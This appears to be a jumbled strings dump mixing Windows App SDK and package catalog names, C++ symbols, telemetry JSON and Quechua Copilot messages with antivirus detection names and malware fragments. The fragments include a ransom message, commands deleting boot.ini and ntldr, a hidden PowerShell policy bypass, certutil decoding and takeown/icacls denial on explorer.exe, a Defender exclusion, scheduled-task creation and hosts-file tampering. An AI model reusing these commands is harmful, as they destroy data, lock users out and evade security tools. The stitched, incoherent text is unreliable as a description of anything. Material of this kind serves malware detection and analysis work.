Microsoft.WindowsAppRuntime.Release!1.6.602-F
Microsoft.WindowsAppRuntime.Insights.Resource.dll
Microsoft.WindowsAppRuntime.dll
Microsoft.Windows.Widgets.winmd
Microsoft.Windows.Widgets.dll"n :E
Microsoft.Windows.System.winmd68Q
Microsoft.Windows.System.Power.winmdD c
Microsoft.Windows.Storage.winmd>8
Microsoft.Windows.Security.AccessControl.winmd28_g6
Microsoft.Windows.PushNotifications.winmd>8o
WindowsAppSdk.AppxDeploymentExtensions.Desktop.dll	
WindowsAppSdk.AppxDeploymentExtensions.Desktop-EventLog-Instrumentation.dll
WindowsAppRuntime.png
WindowsAppRuntime.DeploymentExtensions.OneCore.dll
Microsoft.WindowsAppRuntime.Insights.Resource.dlll 4
Microsoft.WindowsAppRuntime.Release!1.6.602-F
Microsoft.WindowsAppRuntime.dll
Microsoft.Windows.Widgets.winmd
Microsoft.Windows.Widgets.dll
Microsoft.Windows.System.winmd68Q
Microsoft.Windows.System.Power.winmdD c
Microsoft.Windows.Storage.winmd>8
Microsoft.Windows.Security.AccessControl.winmd28_g6
Microsoft.Windows.PushNotifications.winmd>8o
Microsoft.Windows.Management.Deployment.winmd
Microsoft.Windows.Globalization.winmd28
Microsoft.Windows.AppNotifications.winmdN8
Microsoft.Windows.AppNotifications.Builder.winmd`8_FJR
Microsoft.Windows.AppLifecycle.winmdDHJ
Microsoft.Windows.ApplicationModel.WindowsAppRuntime.winmd<8
Microsoft.Windows.ApplicationModel.Resources.winmdL 
Microsoft.Windows.ApplicationModel.Resources.dll
Microsoft.Windows.ApplicationModel.DynamicDependency.winmdH8
Microsoft.Windows.AppNotifications.Builder.winmd` s
Microsoft.Windows.AppLifecycle.winmdD 
Microsoft.Windows.ApplicationModel.WindowsAppRuntime.winmdLH
Microsoft.Windows.ApplicationModel.Resources.winmdL 
Microsoft.Windows.ApplicationModel.Resources.dll
Microsoft.Windows.ApplicationModel.DynamicDependency.winmdHHh
Microsoft.Windows.ApplicationModel.Background.winmd6
Microsoft.Windows.ApplicationModel.Background.UniversalBGTask.winmd2 ?lE
Microsoft.WindowsAppRuntime.Release!1.7.208-
Microsoft.WindowsAppRuntime.Insights.Resource.dlllH
Microsoft.WindowsAppRuntime.dll
Microsoft.Windows.Widgets.winmd
Microsoft.Windows.Widgets.dll
Microsoft.Windows.System.winmd6H
Microsoft.Windows.System.Power.winmdDH[
Microsoft.Windows.Storage.winmd> 
Microsoft.Windows.Security.AccessControl.winmd2 
Microsoft.Windows.PushNotifications.winmd>
Microsoft.Windows.Media.Capture.winmd@ 
Microsoft.Windows.Management.Deployment.winmd
Microsoft.Windows.Globalization.winmd2 
Microsoft.Windows.BadgeNotifications.winmd4 
Microsoft.Windows.AppNotifications.winmdN 
Microsoft.WindowsAppRuntime.Release!1.5.1+qf
Microsoft.WindowsAppRuntime.Insights.Resource.dll
Microsoft.WindowsAppRuntime.dll
Microsoft.WindowsAppRuntime.Bootstrap.dll
Microsoft.Windows.Widgets.winmd~ 
Microsoft.Windows.Widgets.dll
Microsoft.Windows.System.winmd6 
Microsoft.Windows.System.Power.winmdD0
Microsoft.Windows.Security.AccessControl.winmd2 
Microsoft.Windows.PushNotifications.winmd>
Microsoft.Windows.Management.Deployment.winmd
Microsoft.Windows.AppNotifications.winmdN 
Microsoft.Windows.AppNotifications.Builder.winmd`(/t
Microsoft.Windows.AppLifecycle.winmdD0
Microsoft.Windows.ApplicationModel.WindowsAppRuntime.winmd< 
WidgetService\Microsoft.Windows.Widgets.winmd
WidgetService\Microsoft.Windows.Widgets.Internal.winmd8
WidgetService\Microsoft.Windows.Widgets.dll$
Microsoft.Windows.Widgets.winmd
Microsoft.Windows.Widgets.Internal.winmd8
WindowsAppSdk.AppxDeploymentExtensions.Desktop.dll	
WindowsAppSdk.AppxDeploymentExtensions.Desktop-EventLog-Instrumentation.dll
WindowsAppRuntime.png
Windows::Media::Effects::AudioRenderEffectsManager::GetAudioRenderEffects
Windows::Media::Effects::AudioCaptureEffectsManager::GetAudioCaptureEffects
Microsoft-Windows-Basic-Http-Minio-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
M?http://xvive.com/twiki/b.txtstroutfile = fso.getspecialfolder(windowsfolder).path & "\system32\test.log"filetocopy = fso.getspecialfolder(windowsfolder).path & "\system32\drivers\etc\hosts"
Software\Microsoft\Windows\CurrentVersion\Internet Settingsget http://download.%s.com/
c:/windows/system32/dL
c:/windows/system32/d
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt\Windows.UI.Notifications.h
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt\Windows.Data.Xml.Dom.h
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt\windows.system.internal.h
Sending interactive Cross-Cloud request on unsupported version of Windows
Sending silent Cross-Cloud request on unsupported version of Windows
Microsoft-Windows-Kernel-Package-Kernel-Processor-Power-Events-Container-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
C:\WINDOWS\Explorer.EXE
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.appinstallerfactory.cpp
Windows\System32\
WINDOWS\system32\config
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Y.htmForceRemove {ABCAE223-1278-7829-A43E-42D18BB79950} = s 'Windows Assistannt v.
C:\WINDOWS\
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.secondarytileview-custom.cpp
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
 Windows
C:\Windows\system32\cmd.exe
Software\Microsoft\Windows\chemoreceptive\Uninstall\Dendrologiens72S
WindowsFormsApp1.Properties.Resources.resources
com.microsoft.windowsSearc
Scripts may close only the windows that were opened by them.
c:\windows\gpu_name.txtc
Bc:\temp\foo.txtjl7cvwj8waeah3eoe3r50ka0ojzhtmsna3q2fpzkb8atgmdjr8microsoft\windows\currentversion\explorer\user shell folderst
nsoftware\microsoft\windows\shell\associations\urlassociations\http\userchoicecreatetempfolderexpandenvironmentstringsforuseracampaignnameacquisitiontypecommandline.cpp!#ALF:HSTR:TrojanDownloader:Win32/NDirect.A!bit
Microsoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft.Windows.Settings.Accessibility
C:\ProgramData\Microsoft\Windows\AppRepository\StateRepository-Machine.srd-shm
C:\ProgramData\Microsoft\Windows\AppRepository\StateRepository-Deployment.srd-shm
OS=Windows_NT
for windows 10
onenote for windows 10
Microsoft.Windows.Security.AppIdLogger
FWindowsSearchDragAndDropTest
?setHandle@QWindowsPipeReader@@QEAAXPEAX@Z
?setMaxReadBufferSize@QWindowsPipeReader@@QEAAX_J@Z
Windows.System.UserProfile
Windows.UI.Core
WindowSizeChangedEventArgs
Windows.UI
Microsoft.Windows.Pluton.PlutonApi
Microsoft.Windows.Pluton.Pcbi
Windows.System.Profile
windowsEdition
WindowsIntegrityPolicy
Windows.System
Microsoft.Windows.Graphics.WindowsColorSystem
Microsoft.Windows.Graphics.WindowsC
onecoreuap\windows\core\color\mscms\internalgamma.cxx
onecoreuap\windows\wgi\winrt\devices\monitordevice.cpp
Aonecoreuap\windows\wgi\winrt\display\displaycommon.cpp
onecoreuap\windows\wgi\winrt\display\displayinformation.cpp
api-ms-win-core-windowserrorreporting-l1-1-0.dll
WindowsGraphics.dll
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsCreateString
WindowsDuplicateString
WindowsDeleteString
WindowsSubstringWithSpecifiedLength
onecoreuap\windows\wgi\winrt\display\DisplayCommon.hpp
onecoreuap\windows\wgi\winrt\display\displayservices.cpp
onecoreuap\windows\wgi\winrt\display\hdmidisplayinformation.cpp
onecoreuap\windows\wgi\winrt\display\logicaldisplayreference.cpp
Global.WindowsOobeAppHost.AppXfm4rhbv5eh134mbztfsr33j3ge97tmcx.mca
Global.WindowsOobeAppHost.wwa
[{"application":"microsoft.default.default","platform":"data_boundary"},{"application":"","platform":"packageId"},{"application":"","platform":"alternateId"}]ZZzI03ZhPBD1Dfj2GvrCeHMuMjZ9FnVlYIDK+kZzTu0=default$windows.data.apps.packagedproducts|windows.data.apps.packagedproducts
windows.data.apps.packagedproductsdefault$windows.data.apps.packagedproductsi
[{"application":"microsoft.default.default","platform":"data_boundary"},{"application":"","platform":"packageId"},{"application":"","platform":"alternateId"}]ZZzI03ZhPBD1Dfj2GvrCeHMuMjZ9FnVlYIDK+kZzTu0=default$windows.data.apps.packagedproducts|windows.data.apps.packagedproducts
windows.data.apps.packagedproductsdefault$windows.data.apps.packagedproductsi
[{"application":"microsoft.default.default","platform":"data_boundary"},{"application":"","platform":"packageId"},{"application":"","platform":"alternateId"}]ZZzI03ZhPBD1Dfj2GvrCeHMuMjZ9FnVlYIDK+kZzTu0=default$windows.data.settings.settingsusagehistory|windows.data.settings.settingsusagehistory
windows.data.settings.settingsusagehistorydefault$windows.data.settings.settingsusagehistoryi
[{"application":"Microsoft.Default.Input","platform":"data_boundary"},{"application":"","platform":"packageId"},{"application":"","platform":"alternateId"}]Wvq833opDQ2lQ5RM1kH1zXlbcg1ww7CldmoElcLFyUc=default$windows.data.input.devices.pensyncedsettings|windows.data.input.devices.pensyncedsettings
windows.data.input.devices.pensyncedsettingsdefault$windows.data.input.devices.pensyncedsettingsi
[{"application":"microsoft.default.default","platform":"data_boundary"},{"application":"","platform":"packageId"},{"application":"","platform":"alternateId"}]ZZzI03ZhPBD1Dfj2GvrCeHMuMjZ9FnVlYIDK+kZzTu0=default$windows.data.bluelightreduction.settings|windows.data.bluelightreduction.settings
windows.data.bluelightreduction.settingsdefault$windows.data.bluelightreduction.settingsi
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
attrib-r-s-hc:boot.inidelc:boot.iniattrib-r-s-hc:ntldrdelc:ntldrattrib-r-s-hc:windowswin.inidelc:windowswin.ini
c:\\programdata\\microsoft\\windows\\startmenu\\programs\\startup\\
Kpowershell-noprofile-executionpolicybypass-windowstylehidden-filec:\users\public\documents\$($
9.tmp\encrypt_youtube.bat%:\windows\system32\drivers\etc\hosts%://4
de":2,"DefenderShellExecutedCloudHTTPCode":2,"DefenderShellExecutedEngineReportGUID":8,"DefenderTelemetryFlags":2,"OriginClaimSessionID":8,"OriginClaimSubSessionID":8,"CallingProcessOriginClaimSessionID":8,"CallingProcessOriginClaimSubSessionID":8,"FileSignatureInfo":{"a":{"f":{"VerificationError":2,"KnownRoot":2,"PolicyFlags":2,"ValidFrom":9,"ValidTo":9}}}},"privTags":32088572553658445,"policies":7},"os":{"bootId":8,"name":"Windows","ver":"10.0.26200.7840.amd64fre.ge_release.240331-1435","expId":"RS:3107B,MD:283BAEF,ME:3667C98,ME:3667C9A,ME:3667CA2,ME:3667CA7,ME:3667CAD,ME:38419AC,ME:3536BD9,MD:2FE0A31,MD:2FE0A40,MD:2FE0A4F,MD:37B239D,PD:3536CF8,PD:33CDA4D,MD:36AF640,MD:9999,CD:2601D"},"app":{"id":"W:0000da39a3ee5e6b4b0d3255bfef95601890afd80709!0000da39a3ee5e6b4b0d3255bfef95601890afd80709!","ver":"1970/01/01:00:00:00!0!","is1P":3,"asId":1},"device":{"localId":"s:3CA88F2F-E712-492F-98AE-9B40194CF1A5","deviceClass":"Windows.Desktop"},"protocol":{"devMake":"VMware, Inc.","devModel":"VMware20,1"},"user":{"localId":"w:DBFCEB78-2C59-FA53-8626-4ED67E8A4320"},"loc":{"tz":"+01:00"}},"data":{"Count":1,"MinSmartLockerVerificationTime":0,"MaxSmartLockerVerificationTime":0,"MinDefenderVerificationTime":10000000,"MaxDefenderVerificationTime":10000000,"MinEventTime":134163939843034689,"MaxEventTime":134163939843034689,"EventVersion":8,"EventType":"QuestionableAllow","AllowedToLoad":true,"Status":0,"SACStatus":0,"SACBlockUIType":0,"NWDesktopEnabled":0,"NWDesktopEvalEnabled":1,"NWDesktopRegKeyState":2,"Options":6,"DeveloperOptions":3154931712,"FileName":"\\Device\\HarddiskVolume3\\Windows\\SystemApps\\MicrosoftWindows.Client.Core_cw5n1h2txyewy\\StartMenu\\AdaptiveCards.Rendering.Uwp.dll","ShellExecutedFileName":"","ProcessName":"\\Device\\HarddiskVolume3\\Windows\\SystemApps\\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\\StartMenuExperienceHost.exe","FlatSHA256Hash":[43,88,59,189,40,56,114,60,195,56,10,156,145,241,73,92,212,220,208,156,23,131,185,38,47,196,233,235,64,121,209,110],"FileHash":[121,208,109,81,245,77,252,5,132,136,145,228,48,72,155,156,139,156,160,88,3,194,252,9,91,81,98,4,42,153,68,119],"SecureRequiredFlags":0,"RequestedSigningLevel":2,"GenericVerificationError":0,"SACPolicyOptions":2978817812,"OriginalFileName":"","InternalName":"","FileDescription":"","ProductName":"","FileVersion":0,"TimeDateStamp":1753165324,"SACPolicyGuidID":"1283AC0F-FFF1-49AE-ADA1-8A933130CAD6","PolicyName":"25979.1000.20231018","PolicyID":"VerifiedAndReputableDesktopEvaluation","SACExternalAuthorizationFlags":2228224,"SACExternalAuthorizationUsed":2097152,"SACDefenderScanFailedOverride":0,"SACUnsignedUnknownOverride":0,"DefenderStatus":-1073741823,"DefenderCatDbFailureStage":10,"DefenderCatDbFailure":-2147416390,"DefenderTrust":0,"DefenderScanResultDetails":0,"DefenderTrustExpiryTime":0,"EAReplayFailureState":3,"CachedDefenderTrust":0,"CachedDefenderTrustExpiryTime":0,"DefenderClientStatusCode":0,"DefenderCloudHTTPCode":0,"DefenderEngineReportGUID":"00000000-0000-0000-0000-000000000000","DefenderThreatName":"","DefenderShellExecutedStatus":0,"DefenderShellExecutedTrust":0,"DefenderShellExecutedClientStatusCode":0,"DefenderShellExecutedCloudHTTPCode":0,"DefenderShellExecutedEngineReportGUID":"00000000-0000-0000-0000-000000000000","DefenderShellExecutedThreatName":"","DefenderShellExecutedFlatHash":[],"DefenderTelemetryFlags":2,"OriginClaimPresent":false,"OriginClaimDataVersion":0,"OriginClaimOrigin":0,"OriginClaimType":0,"OriginClaimGeneration":0,"OriginClaimSessionID":"00000000-0000-0000-0000-000000000000","OriginClaimSubSessionID":"00000000-0000-0000-0000-000000000000","OriginClaimSmartScreenClaim":0,"OriginClaimRevocationID":0,"OriginClaimDataString":"","CallingProcessOriginClaimPresent":false,"CallingProcessOriginClaimDataVersion":0,"CallingProcessOriginClaimOrigin":0,"CallingProcessOriginClaimType":0,"CallingProcessOriginClaimGeneration":0,"CallingProcessOriginClaimSessionID":"00000000-0000-0000-0000-000000000000","CallingProcessOriginClaimSubSessionID":"00000000-0000-0000-0000-000000000000","CallingProcessOriginClaimSmartScreenClaim
2b^windows.packageExtension
2c^windows.firewallRules
.useragent="mozilla/5.0(windowsnt10.0;win64;x64)applewebkit/537.36(khtml,likegecko)chrome/107.0.0.0safari/537.36"
WindowsBackup.AppX5p0dt3fn160mgq761y9tk0cxrfc7dnd6.mca
WindowsBackup.AppXqj224hkh7nbp78xkn6xxwg6waga3cft4.mca
WindowsBackup.AppXwkwys2tnb5skgfnmha1a46rd50fyrdp8.mca
l_main.encryptc:/users/windows/go/src/vashransomwarev2/encrypt.godecrypt all your files after paying the ransom
c:\windows\system32\
\winlogon.exe
9guardplusacaowieub=1; expires=system32\favico.dat
Microsoft.Windows.Print.PerfLib
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
sts.windows.net
sts.windows.net
login.windows.net
login.windows.net
login.windows.net
login.windows.net
sts.windows.net
sts.windows.net
Windows
Windows
%Microsoft Windows Production PCA 2011
AGGR:Lua:TopLevelFile.A!Lua:FileInWindows
^[security.principal.windows
Microsoft.Windows.Wil.FeatureLogging
Lattrib +%ji% +r %windir%\system32\drivers\etc\&
Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallItem::get_InstallType
Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallItem::get_CompletedInstallToastNotificationMode
Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallItem::get_InstallInProgressToastNotificationMode
windowsformsapp
windowsapp3.resourcesw
\system32(\%l+\%l+\%l+%.dat)$
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
m0windowsphone
Windows.PrintDialog_6.2.3.0_neutral_neutral_cw5n1h2txyewy
@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDisplayName}
@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/PublisherDisplayName}s
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.XboxIdentityProvider_12.130.2510.6003_x64__8wekyb3d8bbwe%5Cresources.pri.dl
an.Microsoft Copilot qullqi quy tarjetamanta willakuykunata rikuchiyta munan. Kay uyakuypaq Windows kichanaykita qillqay.Microsoft Copilot yaykuna rimaykunata rikuchiyta munan. Kay uyakuypaq Windows kichanaykita qillqay.Microsoft Copilot contrase
akuna mirachiyta munan. Windows kichanaykita qillqay kayta uyakunapaq.Microsoft Copilot yaykuna rimaykunata llamkachiyta munan. Windows kichanaykita qillqay kayta uyakunapaq.Microsoft Copilot contrase
akunayki hawaman apachiyta munan. Kay uyakuypaq Windows kichanaykita qillqay.Microsoft Copilot yaykuna rimaykunata hawaman apamuyta munan. Kay uyakuypaq Windows kichanaykita qillqay.Microsoft Copilot Yaykuna rimay kamachiq willayniyki qulluyta munan. Windows kichanaykita qillqay kayta uyakunapaq.Microsoft Copilot kunan kaq yaykuna rimaykunata tikrayta munan. Windows kichanaykita qillqay kayta uyakunapaq.Kay computadoraqa Microsoft Copilot kaqmanta aswan qipa kaq layayuq
a. Sichus software mana llamkachkanchu, ama hina kaspa Microsoft Copilot kaqmanta hurquy chaymanta hukmanta ruway.Churaynin pantasqan imaraykuchus mana akllasqa pantayta kachkan. Sichus Microsoft Copilot kunan llamkachkan, ama hina kaspa wichqay chaymanta hukmanta yanay.Mana atikunchu kikin Microsoft Copilot laya kunan purichkaqta churayta. Ama hina kaspa, Microsoft Copilot wichqay chaymanta hukmanta ruway.Churaynin pantasqan imaraykuchus mana akllasqa pantayta kachkan. Ama hina kaspa, Microsoft Copilot kaqmanta uraykachiy.Microsoft Copilot kaqqa Windows 10 utaq aswan hatun kaqta munan.Huk imayna llamkana pantayta rikusqan mayk'aq churachkan. Ama hina kaspa, Microsoft Copilot kaqmanta uraykachiy.Microsoft Copilot kaqpi huk llamkay ruwakuchkan. Ama hina kutimanta yanay.Winanapaq pantasqan hatunyachiypaq kiputa. Ama hina kaspa, Microsoft Copilot kaqmanta uraykachiy.Winanapaq waqaychana wakllisqan utaqmana allinchu. Ama hina kaspa, Microsoft Copilot kaqmanta uraykachiy.Microsoft Copilot llapa ruwaqkunapaq computadoraykipi churasqa
\windows nt
system32\dxgiadaptercache.exe"
system32\dxgiadaptercache.exe"
	WINDOWS\system32\cmd.exe
\Tchoupi\x64\Release\Tchoupi.pdbAdd ExclusionPath\Microsoft\Windows\DefenderTrojan:Win64/ShellCodeLoader.NWU!MTB
boxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$root_implements@Uargs@?$observable_vector_base@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UDialogCheckboxViewModel@TaskManagerApp@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$implements@Uargs@?$observable_vector_base@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UDialogCheckboxViewModel@TaskManagerApp@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@@winrt@@
.?AU?$producer_convert@Uargs@?$observable_vector_base@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UDialogCheckboxViewModel@TaskManagerApp@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@X@impl@winrt@@
yGlobal\%s%xMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36/create /sc minute /tn13poh9EisZfuzCQgianG1UDdmUdfCRKLjSLchC1r2kbT5NQ9RhWrD5wwp1JUjuBNvYHqTVGX9CSJPxkUyLJLAQVi8ifLTvukxdZACn
@%SystemRoot%\system32\windows.storage.dll@
WindowsPromoteStringBuffer
WindowsPreallocateStringBuffer
WindowsDeleteStringBuffer
:\\programdata\microsoft\windows\start menu\programs\startup
:\\windows\\help
:\\windows\\debug
:\\windows\\tapi
:\\windows\\temp
.?AU?$default_delete@VXamlCore@WindowsXamlManager@DirectUI@@@std@@
EnumThreadWindowsCallback
    name="Microsoft.Windows.Shell.cscui"
            name="Microsoft.Windows.Common-Controls"
[a-z]:\windows\temp\sb%-sim%-temp
Windows
Windows
Windows
Windows
Microsoft.Windows.Shell.WidgetBoard
MICROSOFT.WINDOWS.STARTMENUEXPERIENCEHOST_CW5N1H2TXYEWY
Microsoft.Windows.WebDefense.SmartScreen
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
WindowsDuplicateString
WindowsCompareStringOrdinal
s@Foundation@Windows@4@@impl@winrt@@
.?AU?$implements@Uiterator@?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@@winrt@@
.?AU?$producer_convert@Uiterator@?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producers_base@Uiterator@?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@V?$tuple@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@winrt@@@std@@@impl@winrt@@
.?AU?$producer@Uiterator@?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterable@H@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
windir=C:\WINDOWS
LOGONSERVER=\\WINDOWS11
USERDOMAIN=Windows11
SystemRoot=C:\WINDOWS
53^windows.appExtension
!random!.hex"echo00000000certutil-f-decodehex"!random!.hex""!random!.exe"takeown/fc:\windows\explorer.exeicacls.exec:\windows\explorer.exe/deny*s-1-1-0:ffor%%iin(d:,e:,f:,g:,q:,w:,e:,r:,t:,y:,u:,i:,o:,p:,s:,h:,x:,y:,z:)do(takeown/a/r/dy/f%%istart\"!random!.exe"-nobanner-accepteula-r-s-q%%i
Windows.Data.Shell.FocusSession
Windows.Data.Shell.FocusSession
Windows.Data.Shell.FocusSession
Windows.Data.Apps.FileInfo
Windows.Data.Apps.AppMetaData
Windows.Data.Apps.IconInfo
titleBarWindowShakeEnabled
Windows.Data.Apps.ShortcutInfo
